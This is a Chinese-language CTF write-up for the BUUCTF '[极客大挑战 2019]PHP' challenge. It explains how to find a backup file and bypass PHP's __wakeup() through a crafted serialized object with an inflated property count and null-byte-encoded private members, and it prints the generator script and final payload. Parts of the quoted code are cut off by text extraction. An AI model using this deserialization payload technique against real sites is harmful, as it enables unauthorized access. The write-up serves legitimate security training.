BUUCTF-[极客大挑战 2019]PHP

1、备份文件
2、绕过__wakeup()
3、private

根据提示,使用dirsearch扫描网站,发现备份文件:


备份文件

下载后,源代码如下:
index.php


class.php

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

根据class.php,满足下列条件即可得到flag:
1、绕过__wakeup(),使username为admin
2、使password为100

生成payload:

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { echo "flag"; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } $A = new Name('admin', '100'); $b = serialize($A); $b = str_replace(':2:', ':3:',$b); echo $b;

最终payload为:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

总结:

  • 当成员属性数目大于实际数目时可绕过_wakeup()
  • private属性序列化的时候格式是%00类名%00成员名,%00占一个字节长度

你可能感兴趣的:(BUUCTF-[极客大挑战 2019]PHP)